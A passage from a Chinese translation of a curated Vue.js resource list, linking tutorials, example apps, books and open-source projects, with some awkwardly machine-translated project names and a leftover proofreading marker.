- [GraphCMS初学者指导Vue](https://graphcms.com/docs/getting-started/beginners_guide_with_vue/)在GraphCMS上
- [在Chrome和VS Code中调试Vue.js](https://github.com/Microsoft/vscode-recipes/tree/master/vuejs-cli)此配方显示如何使用 VsCode 的Debugger for Chrome扩展来调试Vue CLI生成的Vue.js应用程序.
- [Vue JS 2入门 (视频) ](https://www.packtpub.com/web-development/getting-started-vue-js-2-video) 作者: Sachin Bhatnagar,Packt. (2018年1月)
- [使用Vue.js构建电影应用程序界面](https://hackernoon.com/building-a-movie-app-interface-with-vue-js-cdc8aeb5db0b )作者Hassan Djirdeh,[@djirdehh](https://twitter.com/djirdehh)
- [让我们构建一个自定义Vue.js路由器](https://hackernoon.com/lets-build-a-custom-vue-js-router-7de634be87c4) 作者Hassan Djirdeh,[@djirdehh](https://twitter.com/djirdehh)
- [开始使用Vue,Webpack 4和Babel](https://medium.com/@BjornKrols/getting-started-with-vue-webpack-4-babel-edd3e577421e )作者: Bjorn Krols,[@KrolsBjorn](https://twitter.com/KrolsBjorn)
- [如何将 Bootstrap 4 添加到Vue项目中](https://medium.com/@BjornKrols/integrating-and-customising-bootstrap-4-in-vue-js-cbc29ba7688e) 作者: Bjorn Krols,[@KrolsBjorn](https://twitter.com/KrolsBjorn)
- [如何将 Semantic UI 添加到Vue项目中](https://codeburst.io/how-to-add-semantic-ui-to-your-vue-project-cc8c4783a673) 作者: Bjorn Krols,[@KrolsBjorn](https://twitter.com/KrolsBjorn)
- [如何将ESLint添加到Vue项目中](https://codeburst.io/tutorial-how-to-add-eslint-to-your-vue-js-project-ccfb84fab9) 作者: Bjorn Krols,[@KrolsBjorn](https://twitter.com/KrolsBjorn)
- [如何通过Vue中的URL查询参数使内容动态化](https://medium.com/@BjornKrols/tutorial-dynamic-content-via-url-query-parameters-in-vue-js-d2df19b66633) 作者: Bjorn Krols,[@KrolsBjorn](https://twitter.com/KrolsBjorn)
- [如何为AWS S3托管的Vue应用程序启用 history 模式](https://medium.com/@BjornKrols/how-to-enable-history-mode-for-aws-s3-hosted-vue-applications-3bf40d51d9a7) 作者: Bjorn Krols,[@KrolsBjorn](https://twitter.com/KrolsBjorn)
- [使用断点调试Vue应用程序的基本介绍](https://medium.com/@BjornKrols/a-basic-introduction-to-debugging-vue-applications-using-breakpoints-2ef76ce419f2) 作者: Bjorn Krols,[@KrolsBjorn](https://twitter.com/KrolsBjorn)
- [使用Vue,Firebase和 Scaffoldhub 构建库管理应用程序](https://vue-firebase.com/tutorial.html)菲利普利马[@fpastorelima](https://twitter.com/fpastorelima)
- [使用 ButterCMS主体的后端 构建 Vue.Js电子商务应用程序](https://snipcart.com/blog/vuejs-ecommerce-headless-buttercms)
- [Vue.JS大师](https://vueschool.io/)
- [使用Go和Vue.js构建投票应用程序](https://pusher.com/tutorials/voting-app-go-vuejs)
- [使用Vue.js构建协作绘画应用程序](https://pusher.com/tutorials/collaborative-painting-vuejs)
- [使用Stripe构建实时支付仪表板](https://pusher.com/tutorials/realtime-payment-dashboard-stripe)
- [使用Vue.js构建加密货币跟踪器](https://pusher.com/tutorials/cryptocurrency-tracker-vue)
- [使用Vue.js构建设计反馈应用程序](https://pusher.com/tutorials/design-feedback-vuejs)
- [使用Flask和Vue.js开发单页应用程序](https://testdriven.io/developing-a-single-page-app-with-flask-and-vuejs)
- [使用Stripe,Vue.js和Flask接受付款](https://testdriven.io/accepting-payments-with-stripe-vuejs-and-flask)
- [使用Laravel和VueJS进行API驱动开发 (免费课程) ](https://serversideup.net/courses/api-driven-development-laravel-vuejs/)在serversideup.net上
- [在Vue.js中管理状态](https://medium.com/fullstackio/managing-state-in-vue-js-23a0352b1c87) 作者Hassan Djirdeh,[@djirdehh](https://twitter.com/djirdehh)
### 例子
- [让我们在Laravel中使用JWT Auth +示例后端API,来启动一个应用程序](http://forum.vuejs.org/topic/39/starter-application-with-jwt-auth-sample-backend-api)
- [Node Webkit + Vue示例](https://github.com/brandonjpierce/node-webkit-boilerplate) 来自 @brandonjpierce
- [Vue样品](https://github.com/superlloyd/VueSamples) 来自@superlloyd
- [HackerNews副本 使用vue.js + vue-router](https://github.com/kazupon/vue-router-hackernews) 来自 @kazupon
- [**Electron + Vue示例**](https://github.com/bradstewart/electron-boilerplate-vue) 来自 @bradstewart
- [单页应用示例 (Vue + Voie) ](https://github.com/inca/voie-example) 来自[鲍里斯奥肯斯基](https://github.com/inca)
- [开始 - 用Vue + Lumen编写的任务管理器SPA](https://github.com/rajabishek/begin) 来自[Raj Abishek](https://github.com/rajabishek)
- [Vue迷你商店](https://github.com/BosNaufal/vue-mini-shop) 来自[BosNaufal](https://github.com/BosNaufal)
- [Vue SoundCloud](https://github.com/mul14/vue-soundcloud) 来自[mul14](https://github.com/mul14)
- [功能请求 (Laravel + Vue组合) ](https://github.com/haydenbbickerton/feature-requests-app) 来自[haydenbbickerton](https://github.com/haydenbbickerton)
- [Vue Cookbook (Vue1.0 + express) ](https://github.com/yjj5855/node-vue-server-webpack) 来自[@ yjj5855](https://github.com/yjj5855): 一个演示 - 服务端渲染
- [强大起来](https://github.com/websemantics/strong-together)- 基于Browserify和Semantic-ui的 独立 或 Laravel/Laravel Spark项目,构建单页Vue.js应用程序的入门项目[WebSemantics](https://github.com/websemantics)
- [vuetest: 一个管理员网站,包含用户身份验证,bootstrap ui,上传,iframe中的富编辑器](https://github.com/sjerrys/vuetest)
- [**Vue购物**](https://github.com/andylei18/vue-shopping) 来自[andylei18](https://github.com/andylei18)
- [**Vue公司-cnodejs,060**](https://github.com/shinygang/Vue-cnodejs) 来自[@shinygang](https://github.com/shinygang)
- [**Vue-知乎每日**](https://github.com/hilongjw/vue-zhihu-daily) 来自[hilongjw](https://github.com/hilongjw)
- [JWT-示例](https://github.com/PetervMeijgaard/jwt-example) 来自[@petervmeijgaard](https://github.com/petervmeijgaard)
- [**VueChess**](https://github.com/gustaYo/vue-chess)- 多人在线国际象棋游戏[gustaYo](https://github.com/gustaYo)
- [Ngexplorer-vuejs客户端](https://github.com/gustaYo/ngexplorer-vuejs-client)-[Ngexplorer](https://github.com/gustaYo/ngexplorer-MEAN)Vue客户端. 来自[gustaYo](https://github.com/gustaYo)
- [Vue 2048 (Vue + Webpack) ](https://pengfu.github.io/vue-2048/) 来自[@pengfu](https://github.com/pengfu): 流行的2048-使用Vue,Webpack,Sass,ES6实现的游戏
- [Vue PWA 样例](https://github.com/BosNaufal/vue-simple-pwa) 来自[BosNaufal](https://github.com/BosNaufal)
# 校对到这里
- [英雄之旅 (Vue 2.0) ](https://github.com/aweber1/tour-of-heroes-vue2): Angular 2.0的Vue 2.0端口[英雄之旅](https://angular.io/docs/ts/latest/tutorial/)演示应用. 亮点: ES6/7,渲染功能,JSX,[滑稽剧](https://github.com/revue/revue) (针对Vue的redux绑定) ,[Vue路由器](https://github.com/vuejs/vue-router),[Airbnb eslint](https://github.com/airbnb/javascript/tree/master/packages/eslint-config-airbnb-base),webpack. 通过[@ aweber1](https://github.com/aweber1)
- [Vue表,分页](https://github.com/echoVic/vue-table-pagination)一张分页的桌子[echovic](https://github.com/echovic)
- [Feathers和Vue 2.0博客管理员演示](https://github.com/delay/feathers-vue-blog-admin-demo)将Feathers与Vue 2.0一起使用的演示. 它包括身份验证,vue-router,vue-infinite-loading和角色[延迟](https://github.com/delay)
- [vue-zhihudaily-2.0](https://github.com/cs1707/vue-zhihudaily-2.0)使用Vue 2.0,vue-router和vuex构建的Zhihudaily演示,具有服务器端渲染. 通过[cs1707](https://github.com/cs1707)
- [Vue-演示todolist的](https://github.com/fishenal/Todos_Vuejs)一个简单的vue2.0演示,使用Vue 2.0,vue-cli构建. 通过[fishenal](https://github.com/fishenal)
- [**vue-AdminLte**](https://github.com/liujians/vue-adminLte-vue-router) 来自[liujians](https://github.com/liujians)
- [**Vue (2.0) + Node.js: 博客内容管理系统 (CMS) **](https://github.com/ycwalker/CMS-of-Blog) 来自 @ycwalker
- [ngexplorer,类星体](https://github.com/gustaYo/ngexplorer-quasar)-实施[Ngexplorer](https://github.com/gustaYo/ngexplorer-MEAN)同[类星体框架](https://github.com/rstoenescu/quasar-framework) 来自[gustaYo](https://github.com/gustaYo)
- [制壶每日-Vue](https://github.com/moonou/zhihu-daily-vue)zhihu每日基于vue2.0的[moonou](https://github.com/moonou)
- [loopback-vue](https://github.com/qxl1231/generator-loopback-vue)loopback+vue+vue-resource,ionic-app,vue page分页功能,authenticate 权限控制,accesstoken机制,credentials,CI,docker[qxl1231](https://github.com/qxl1231)
- [**vue-s3-dropzone**](https://github.com/kfei/vue-s3-dropzone)A Vue.js drag-and-drop component uploads files to AWS S3 serverlessly
- [**easy-vue**](https://github.com/TIGERB/easy-vue)a easy example using the vue to implement easy web with vue 2.0, vuex 2.0, vue-router 2.0, vue-infinite-scroll 2.0, vue-progressbar 2.0 by[TIGERB](https://github.com/tigerb)
- [Vuex Events Messaging Demo](https://github.com/metricloop/vuex-events-messaging-demo)by[Metric Loop](https://metricloop.com/blog)
- [vue-memo](https://github.com/akifo/vue-memo)a simple demo build with Vue.js(>2.x.), vue-router(>2.x.), vuex(>2.x.), vuex-router-sync@next(>3.x.) and Firebase(>3.6.x) by[akifo](https://github.com/akifo)
- [Resume Vue](https://github.com/ChangJoo-Park/Resume-Vue)JSON based Resume based on Vue 2.0 by[ChangJoo Park](https://github.com/ChangJoo-Park/)
- [**App example with JWT Authentication**](https://github.com/Angarsk8/phoenix_vuejs_authentication_example)developed with[**Phoenix Framework**](http://phoenixframework.org),**Vue**and**Vue Router**([***demo***](https://phoenix-vue-auth.herokuapp.com)) by[@Angarsk8](https://github.com/Angarsk8)
- [Sample CRUD app with router in Vue 2.0](https://github.com/shershen08/vue.js-v2-crud-application) 来自[@ shershen08](https://github.com/shershen08)
- [ASP.NET Core Vue.js服务器端呈现示例](https://github.com/mgyongyosi/VuejsSSRSample) 来自[@mgyongyosi](https://github.com/mgyongyosi)
- [**vuefire,快速入门**](https://github.com/sejr/vuefire-quickstart)- 记录的Firebase集成w/webpack和eslint,by[@sejr](https://github.com/sejr).
- [**HELLO-Vue-的Django**Vue.js和Django集成启动项目与热代码重新加载](https://github.com/rokups/hello-vue-django)
- [**实时社交新闻应用程序**](https://github.com/Angarsk8/loopa-news)与...发展[**凤凰**](http://phoenixframework.org),**Vue公司**,**Vue路由器**和**Vuex** ([***演示***](https://loopa-news.herokuapp.com)) [@ Angarsk8](https://github.com/Angarsk8)
- [**Vue计算器**](https://github.com/CaiYiLiang/simply-calculator-vuejs)一个简单的计算器,使用Vue 2.0,vue-cli (webpack-simple) 构建. 通过[CaiYiLiang](https://github.com/CaiYiLiang)
- [**维基百科浏览器**](https://github.com/CaiYiLiang/vue-demos/tree/master/wikipediaViewer-vuejs)一个简单的维基百科查看器页面,使用vue2.x,vue-router,vue-cli (webpack-simple) 和ajax (jsonp) 构建. 通过[CaiYiLiang](https://github.com/CaiYiLiang)
- [**vue2.x-豆瓣**](https://github.com/superman66/vue2.x-douban)使用vue2.x,vue-router和axios (豆瓣电影) 构建的简单douban电影. 通过[超人](https://github.com/superman66)
- [**Vue-laravel-示例**](https://github.com/jcc/vue-laravel-example)Vue - Laravel - 示例是使用Laravel设置Vue的简单示例. 通过[Jiajian Chan](https://github.com/jcc)
- [**Vue基金会**](https://github.com/hal0gen/vue-foundation)一个集成VueJS的演示应用程序[**Zurb基金会**](https://github.com/zurb/foundation-sites),使用webpack vue-cli f构建
- [aspnetcore-Vue的起动](https://github.com/MarkPieszak/aspnetcore-Vue-starter)作为asp.net MVC dotnetcore项目的一部分的VueJS 2入门模板. 此模板包括VueJS客户端应用程序和后端API控制器.
- [**Vue-reddit的应用程序内**](https://github.com/yujiahaol68/reddit-app)Reddit SPA[***演示***](https://yujiahaol68.github.io/reddit-app/)建成的**Vue 2.X**,**Vue路由器2**,**Vuex**和**爱可信**. 使用Muse-UI和vue-cli webpack模板[@ yujiahaol68](https://github.com/yujiahaol68)
- [**Vue音乐,QQ**](https://github.com/pluto1114/vue-music-qq)一个qq音乐项目基于vue-cli. 页面简单流畅
- [使用Vue-Redux和Plain VueJSX的NavigationTab](https://github.com/ShuvoHabib/Vue-JSX-and-Vue-Redux-Navigation-Tab)带有普通Vue JSX和Vue + Redux绑定的导航选项卡
- [素食地图](https://veggiemap.herokuapp.com/)使用Vuejs + Vue路由器+ Leaflet和Firebase的交互式演示
- [vuejs-d3](https://github.com/johnnynotsolucky/samples/tree/master/vuejs-d3)示例如何使用d3进行可视化.
- [Vue - Twitter的客户端](https://github.com/YuheiNakasaka/vue-twitter-client)使用Vue 2.X,Vuex,electron-vue和Electron构建的Twitter客户端应用程序
- [**豆瓣**](https://github.com/jeneser/douban)使用创建的令人敬畏的豆瓣样例**Vue2.x**+**Vuex**+**Vue的路由器**+**Vue资源**. 通过[jeneser](https://github.com/jeneser)
- [Storyblok vuejs-boilerplate](https://github.com/storyblok/vuejs-boilerplate)- 集成Storyblok的组件系统,允许创建可编辑的网站.
- [Vuexpresso](https://github.com/Ethaan/vuexpresso)- 使用VueX,Vue-Router,Vue-Apollo,webpack,GraphQL,Apollo-client,express和mongo的样板
- [Vues.js与Sails.js示例项目](https://github.com/ndabAP/vue-sails-example)- 此项目适用于那些不熟悉单页应用程序并希望通过真实示例学习的人.
- [**Vue.js和金字塔网页框架应用程序**](https://github.com/eddyekofo94/pyramidVue.git)- 使用Pylons Pyramid webframework后端的样板文件vuejs webpack2,vue-router,yarn (包管理器)
- [Vue羽毛聊天](https://github.com/ErickPetru/vue-feathers-chat)在前端使用Vue和在后端使用Feathers进行实时聊天,但只使用Socket.IO-Client进行通信
- [vue-xplan](https://github.com/JackGit/xplan/)使用Vue和three.js创建的旋转地球演示页面
- [**vueSocketChatRoom**](https://github.com/Chanran/vueSocketChatroom)使用vue2.x,vuex2.x,vue-router2.x,vux2.x,socket.io的套接字聊天室
- [vue-tetris (使用Vue,Vuex,不可变代码俄罗斯方块) ](http://binaryify.github.io/vue-tetris/) 来自[@Binaryify](https://github.com/Binaryify): 使用Vue,Vuex,不可变代码俄罗斯方块.
- [路由规划师-Vue](https://kasheftin.github.io/route-planner-vue/) 来自[@Kasheftin](https://github.com/Kasheftin): 用于在Google地图上规划具有多个可排序图层,可拖动方向,标记和形状的路线的工具.
- [MyDiary-Vue公司](https://github.com/ssshooter/MyDiary-Vue/blob/master/README.En.md)使用Vue 2.X构建的日记应用程序,它也具有联系和todolist功能
- [VueJS示例项目](https://github.com/vue-project)在Github上[阿里戈伦](https://aligoren.com)
- [待办事项-MVC-的WebPack](https://github.com/voluntadpear/todomvc-vue-webpack) 来自[voluntapear](https://github.com/voluntadpear)使用webpack-basic模板在Vue 2上实现TodoMVC,示例显示了vuex,vue-router,中央事件总线和VueFire.
- [国际象棋故事书示例](https://github.com/gustaYo/vue-chess-storybook)与Vue 2.0 by[gustaYo](https://github.com/gustaYo)
- [Vue天气通知器](https://github.com/sdras/vue-weather-notifier)一个带SVG和Vuex的小样本动画应用程序
- [Nuxt类型](https://github.com/sdras/nuxt-type)带有Nuxt的示例Vue项目,用于路由/ SSR到演示页面转换
- [VueBlog](https://github.com/wmui/vueblog)支持服务端呈现的博客系统[wmui](https://github.com/wmui)
- [Cinemateka](https://github.com/Piterden/cinemateka)- 使用Vue v1和Laravel 5制作SPA的一个例子. 电影和活动时间表. 俄罗斯评论.
- [Vue-2.X线样板](https://github.com/the6thm0nth/vue-2.x-boilerplate)- 用于Vue项目Vuex + vue-router的简单小型入门套件
- [Vue扫雷艇](https://github.com/rhapsodyn/vue-minesweeper)- 一个致命的简单扫雷游戏与vuejs[rhapsodyn](https://github.com/rhapsodyn)
- [X-流程图,Vue公司](https://github.com/OXOYO/X-Flowchart-Vue)- 使用SVG和Vue的流程图编辑器[OXOYO](https://github.com/OXOYO)
- [KOA-Vue-笔记,网页](https://github.com/johndatserakis/koa-vue-notes-web)- 在后端使用Koa 2.3和在前端使用Vue 2.4的充实SPA. 包括功能齐全的用户身份验证组件,用户注释的CRUD操作和Vuex商店模块.
- [Vuejs购物车](https://github.com/ittus/vuejs-firebase-shopping-cart)- 使用Vuejs和Firebase的购物车示例
- [PokedexVueJs](https://github.com/rchung95/PokedexVueJs) 来自@ rchung95
- [vuefire-auth](https://github.com/aofdev/vuefire-auth)使用Firebase进行Vuefire Vue2-Auth-Email验证
- [vuefire-realtimedatabase](https://github.com/aofdev/vuefire-realtimedatabase)使用Firebase的Vuefire Vue2-RealtimeDatabaseCRUD
- [vuefire存储](https://github.com/aofdev/vuefire-storage)带Firebase的Vuefire Vue2-Storage
- [Vue2-PWA-博客](https://github.com/deepak-singh/vue-blog-pwa) 来自@ deepak-singh
- [Vue-火力认证 - vuex](https://github.com/aofdev/vue-firebase-auth-vuex)使用Vuex进行Vue2 Firebase身份验证并支持渐进式Web应用程序
- [Vue-图表-斯塔特试剂盒](https://github.com/joshua1988/vue-chart-starter-kit)使用Vue Router,Vue Chart,Element-UI快速入门
- [vue2.0-演示](https://github.com/qianyinghuanmie/vue2.0-demos)使用mint-ui,Element-UI,并有一些演示 (选择城市等)
- [康威](https://github.com/edge/conway)康威在Vue的生活游戏.
- [vuex特征范围的结构](https://github.com/igeligel/vuex-feature-scoped-structure)功能范围的vuex应用程序结构的示例应用程序
- [vuex-例子](https://github.com/ooade/vuex-examples)- 使用Vuex构建Real World Apps的简单示例
- [vue-vuex-todomvc](https://github.com/bahmutov/vue-vuex-todomvc)- 示例TodoMVC Vue.js应用程序,通过REST使用Vuex存储和服务器后端以及使用全套E2E测试[Cypress.io](https://www.cypress.io/)试验跑步者.
- [vuejs-sqljs,样板](https://github.com/skysign/public/tree/master/vue.js/boilerplate/vuejs-sqljs-boilerplate)- 这是一个同时使用Vue.js和sql.js的样板
- [X-WebDesktop-Vue公司](https://github.com/OXOYO/X-WebDesktop-Vue)- 基于Vue by的WebDesktop系统[OXOYO](https://github.com/OXOYO)
- [vuejs音乐播放器](https://github.com/Jamaks/vuejs-music-player)- Vue.js lite音乐播放器
- [Vue.js最佳实践示例项目](https://github.com/sarneeh/vuejs-example-stock-trader)- 使用Vue.js + Vue Router + Vuex + Vuelidate的最佳实践示例项目
- [Vue.js \[ONE\]客户](https://github.com/jasscia/one)-[一]客户端使用Vue2.5
- [使用vue-cli v3的Vue.js 2.5包括使用auth0进行身份验证](https://github.com/DominikAngerer/auth0-vue) 作者: Dominik Angerer,Storyblok
- [Skeleton Vue + TypeScript](https://github.com/SierraSoftworks/vue-template)- TypeScript,VueJS,ElementUI,Vue路由器,Vuex,Material Icons,BrowserSync,Dockerfile
- [**PENV Starter**](https://github.com/jesalg/penv-starter) 来自[@jesalg](https://twitter.com/jesalg)- 一个如何结合使用VueJS,Express和PostgreSQL的基本示例.
- [Vue-中继例子](https://github.com/ntkme/vue-relay-examples)- 使用vue-relay的示例应用程序的集合.
- [laravel-Vue,样板](https://github.com/alefesouza/laravel-vue-boilerplate)- 使用Vue.js 2.5,Bootstrap 4,TypeScript,Sass,Pug和Jest的用户CRUD的Laravel 5.5 SPA样板.
- [Vue设计系统](https://github.com/viljamis/vue-design-system)- 使用Vue.js构建UI设计系统的开源样板文件.
- [Vue Bulma演示](https://github.com/faisaltheparttimecoder/bulma-vuejs-demo-website)- 一个简单的演示网站,可以查看Bulma/Vue JS和 express.
- [使用TypeScript,vuex,vue-router,HMR等进行生产的入门应用程序已准备就绪](https://github.com/kadro/vue-boilerplate)
- [vue.js与laravel结合的前后端分离开发模板](https://github.com/wmhello/laravel_template_with_vue)- laravel passport/Vue.JS和Element UI的模板网站.
- [使用Vue.js实施Web开发](https://www.packtpub.com/web-development/hands-web-development-vuejs-video)由罗马库巴,Packt. (2018年5月)
- [Vue网上商城](https://github.com/PowerDos/Mall-Vue)- 一个网上商城SPA演示,基于Vue开发的前后端分离电子商城前端项目
- [FUE](https://github.com/elaijuh/fue)- 带有Vue.js + Vue Router + Vuex + Vuetify + FeathersJS的Admin SPA客户端和服务器端样板
- [Vue + TypeScript Cookbook](https://github.com/ffxsam/vue-typescript-cookbook/blob/master/README.md)- 一本小型食谱,涵盖了一些不太明显的解决方案,供人们开始使用Vue + TypeScript
- [Vuejs的例子](https://vuejsexamples.com/)
### 图书
- [Vue.js的陛下](https://www.packtpub.com/web-development/majesty-vuejs) 作者: Alex Kyriakidis和Kostas Maniatis,Packt. (2016年11月)
- [学习Vue.js 2](https://www.packtpub.com/web-development/learning-vuejs-2) 作者: Olga Filipova,Packt. (2016年12月)
- [Vue.js陛下2](https://leanpub.com/vuejs2) 作者: Alex Kyriakidis和Kostas Maniatis,Leanpub. (2017年3月)
- [Vue.js 2 Cookbook](https://www.packtpub.com/web-development/vuejs-2-cookbook) 作者: Andrea Passaglia,Packt. (2017年5月)
- [Vue.js在行动](https://www.manning.com/books/vue-js-in-action) 作者: Erik Hanchett和Benjamin Listwon (2018年春季)
- [测试Vue.js应用程序](https://www.manning.com/books/testing-vuejs-applications) 作者: Edd Yerburgh (2018年夏季)
- [Vue.js 2和Bootstrap 4 Web开发](https://www.packtpub.com/web-development/vuejs-2-and-bootstrap-4-web-development) 作者: Olga Filipova,Packt. (2017年9月)
- [前端com Vue.js](https://www.casadocodigo.com.br/products/livro-frontend-vue) 作者: Leonardo Vilarinho,CasadoCódigo. (2017年11月)
- [Vue.js 2 Web开发项目](https://www.packtpub.com/web-development/vuejs-2-web-development-projects) 作者: Guillaume Chau,Packt. (2017年11月)
- [Full-Stack Vue.js 2和Laravel 5](https://www.packtpub.com/application-development/full-stack-vuejs-2-and-laravel-5 )作者: Anthony Gore,Packt. (2017年12月)
- [Vue.js 2.x示例](https://www.packtpub.com/application-development/vuejs-2x-example)由迈克街,Packt. (2017年12月)
- [掌握Vue.js](https://masteringvuejs.com) 作者: Oleksandr Kocherhin. (2018年1月)
- [Fullstack Vue: Vue.js完整指南](https://www.fullstack.io/vue/) 作者: Hassan Djirdeh,Nate Murray和Ari Lerner. (2018年3月)
- [Vue.js 2设计模式和最佳实践](https://www.amazon.com/dp/178883979X) 作者: Paul Halliday,Packt. (2018年3月)
- [Vuex快速入门指南](https://www.amazon.com/dp/1788999932) 作者: Andrea Koutifaris,Packt. (2018年4月)
- [使用Vue.js和Node进行全栈Web开发](https://www.amazon.com/Full-Stack-Web-Development-Vue-js-Node/dp/1788831144) 作者: Aneeta Sharma,Packt. (2018年5月)
- [Vue手册](https://vuehandbook.com) 作者Flavio Copes. (2018年7月)
# 使用Vue.js的项目
### 开源
- [PageKit](https://github.com/pagekit/pagekit)- 使用Symfony组件和Vue.js构建的模块化轻量级CMS.
- [npmcharts.com](https://github.com/cheapsteak/npmcharts.com)- 比较npm包和现货下载趋势.
- [Koel](https://github.com/phanan/koel)- 有效的个人音乐流媒体服务器.
- [RSS阅读器](https://github.com/mrgodhani/rss-reader)- 使用原子电子和vue.js制作的简单RSS阅读器.
- [Gokotta](https://github.com/Zhangdroid/Gokotta)- 由电子和vue构建的简单音乐播放器.
- [的CoPilot](https://github.com/misterGF/CoPilot)- 基于AdminLTE和vue.js集成的管理门户.
- [Retrospectify](https://github.com/pepf/retrospectify)- 在敏捷团队中进行协作回顾的简单工具.
- [玉压](https://github.com/jade-press/jade-press)- 基于mongodb,nodejs,koa,vue等的Cms.
- [astralapp](https://github.com/astralapp/astral)- 轻松组织您的GitHub明星.
- [EME](https://github.com/egoist/eme)- 优雅的Markdown编辑器.
- [Github上,探险家](https://github.com/SidKwok/github-explorer)- 一个水疗中心,可以帮助您更好地检查您的github.
- [旅馆](https://github.com/typicode/hotel)- 从浏览器启动您的开发服务器,并在几秒钟内获得本地域.
- [Surfbird](https://github.com/surfbirdapp/surfbird)- 使用现代Web技术编写的Twitter客户端.
- [Approach0](https://github.com/approach0/search-engine)- 数学感知搜索引擎.
- [Flox](https://github.com/devfake/flox)- 自拍电影,系列和动漫观看列表.
- [JavaScript猜猜游戏](https://github.com/samiheikki/javascript-guessing-game)- 用于识别JavaScript工具和库的游戏.
- [Vue-ghpages-博客](https://github.com/viko16/vue-ghpages-blog)- 基于Vue.js 2 + Webpack 2的GitHub页面的博客.
- [Vuedo](https://github.com/Vuedo/vuedo)- 使用Laravel和Vue.js构建的博客平台.
- [vue-music163](https://github.com/pluto1114/vue-music163)- 音乐的Vue.js项目.
- [Tomato5](https://github.com/zhangxin840/tomato5)- 实时协作工具,它将番茄工作法与团队状态共享板相结合.
- [网络学习](https://github.com/freearhey/web-learn)- 一项服务,可以轻松访问有关Web开发和编程的数千个视频教程.
- [ExcelJSON](https://github.com/palerdot/exceljson)- 将CSV,TSV转换为JSON或从JSON转换的工具.
- [物化 - 博客](https://github.com/forehalo/materialize-blog)- 使用Laravel5.3和Vue2.x构建的材料博客.
- [VueCompomnentGenerator](https://github.com/ChangJoo-Park/vue-component-generator)- 在浏览器上生成vue单个文件组件.
- [SDR新闻](https://github.com/super-dev/SDR-News)- 来自多个来源 (Reddit,Hacker News和Prominent Blogs) 汇总的网页设计人员和开发人员的新闻.
- [PJ博客](https://github.com/jcc/blog)- 使用Laravel和Vue.js构建的开源博客.
- [Lulumi浏览器](https://github.com/qazbnm456/lulumi-browser)- Lulumi-browser是一款使用Vue.js 2和Electron编码的轻量级浏览器.
- [Vue - WordPress的-PWA](https://github.com/bstavroulakis/vue-wordpress-pwa)
- [OpenAPI 3查看器](https://github.com/koumoul-dev/openapi-viewer)- 浏览并测试使用OpenAPI 3.0规范描述的REST API
- [Stacer](https://github.com/oguzhaninan/Stacer)- Linux系统优化和监控
- [Distrochooser.de](https://github.com/cmllr/distrochooser)- Linux初学者的入门指南
- [布卡](https://github.com/oguzhaninan/Buka)- 电子书管理
- [Docute](https://github.com/egoist/docute)- 无需构建过程编写文档的框架
- [pm86](https://github.com/ericjjj/pm86)- Node.js应用程序网站的生产流程管理器
- [虚拟机](https://github.com/ericjjj/vms)- Vue.js 2.0管理系统
- [nativescript-vue](https://github.com/rigor789/nativescript-vue)- NativeScript渲染器的Vue.js实现.
- [吹笛者](https://github.com/fireyy/piper)- 基于Vue的拖放式移动网站构建器.
- [MMF-博客,vue2](https://github.com/lincenying/mmf-blog-vue2)- 基于Vue2 (Vue-router,Vuex) 和Webpack2的博客.
- [媒体经理](https://github.com/iutbay/mm)- Web文件管理器.
- [DYU /书签](https://github.com/dyu/bookmarks)- 由leveldb提供支持的自包含,自托管书签应用程序,使用Vue2.1.x构建.
- [JSON模式编辑器](https://github.com/tangram-js/json-schema-editor)- JSON模式的直观编辑器. 使用Vue.js 2和Firebase进行开发.
- [NPM-统计](https://github.com/apertureless/npm-stats)- npm包下载统计信息仪表板
- [vue2管理员-LTE](https://github.com/devjin0617/vue2-admin-lte)- 将AdminLTE转换为与Vuejs (v2.x) 一起使用的项目.
- [Dockeron](https://github.com/dockeron/dockeron)- 在桌面上为Docker构建的Electron + Vue.js项目.
- [Flamme的](https://github.com/alicin/flamme)- 用于教育目的的电子和Vue.js构建的开源Tinder桌面客户端
- [金鱼](https://github.com/Caiyeon/goldfish)- 使用VueJS,Golang和Bulma CSS构建的HashiCorp Vault UI
- [Adminify](https://github.com/wxs77577/adminify)- 基于的管理仪表板[Vuetify](https://vuetifyjs.com/), 检查[在线演示](http://adminify.genyii.com)
- [promptie](https://github.com/alicin/promptie)- 用Vue.js编写的框架,用于在Web浏览器中创建类似命令行的接口.
- [野兔](https://github.com/clarkdo/hare)- 🐇基于Vue.js 2.x,Koa 2.x,Element-UI和Nuxt.js的应用程序样板
- [纸仪表板](https://github.com/cristijora/vue-paper-dashboard)-Cueative Tim Paper Dashboard为Vue制作
- [AdminLTE-VueJS2](https://github.com/otezz/AdminLTE-VueJS2)- 在AdminLTE上实现VueJS (v2.x) 的开源项目.
- [材料仪表板](https://github.com/lucduong/vue-material-dashboard)- 为Vue制作的Creative Tim材料仪表板
- [探索,Github上](https://github.com/mazipan/explore-github)- VueJS 2 Github Explorer使用API v3
- [CoreUI](https://github.com/mrholek/CoreUI-Free-Bootstrap-Admin-Template)- 由Vue.js提供支持的开源管理模板
- [查克·诺里斯](https://github.com/mazipan/chucknorris)- 使用VueJS + api.chucknorris.io构建的Chuck Norris Jokes Generator
- [LeafPlayer](https://github.com/paulschwoerer/leafplayer)- 一个简单,快速,私人托管的音乐流媒体服务器.
- [JSON编辑器](https://github.com/tangram-js/json-editor)- 支持模式的JSON编辑器. 用Vue2开发.
- [Voten](https://github.com/voten-co/voten)- 使用Vue2和Laravel构建的类似Reddit的平台.
- [新闻韦弗](https://github.com/Rud156/News-Weaver)- 使用VueJS和VuetifyJS制作的基于Web的RSS阅读器/聚合器
- [叫醒Billie Joe!](https://wakeupbilliejoe.com)- 10月份的网站倒计时,基于Green Day的歌曲在9月结束时叫醒我. 使用Vue和Firebase创建.
- [标志着Astrum](https://github.com/NoDivide/astrum)- 轻量级模式库,旨在包含在任何Web项目中.
- [vue2-PWA-愿景](https://github.com/aofdev/vue-pwa-vision)- 使用Vue2 + Vuetify +渐进式Web应用程序进行人脸检测Google Cloud Vision
- [vue2-pwa-rekognition](https://github.com/aofdev/vue-pwa-rekognition)- 使用Vue2 + Vuetify +渐进式Web应用程序进行人脸检测Amazon重认识
- [AmmoBin.ca](https://github.com/ammobinDOTca/ammobin-client)- 加拿大各地在线弹药价格的元搜索网站
- [SPA-asp.net-API vuejs-](https://github.com/mubaidr/SPA-asp.net-api-vuejs-)- 使用ASP .NET Webapi 2和SQL Server进行基本任务管理和消息传递的Vue.js单页应用程序
- [图书贸易俱乐部](https://github.com/mubaidr/Book-Trading-Club)- 与您所在地区的其他图书阅读器交易或借阅书籍. 使用nodejs和vuejs2构建
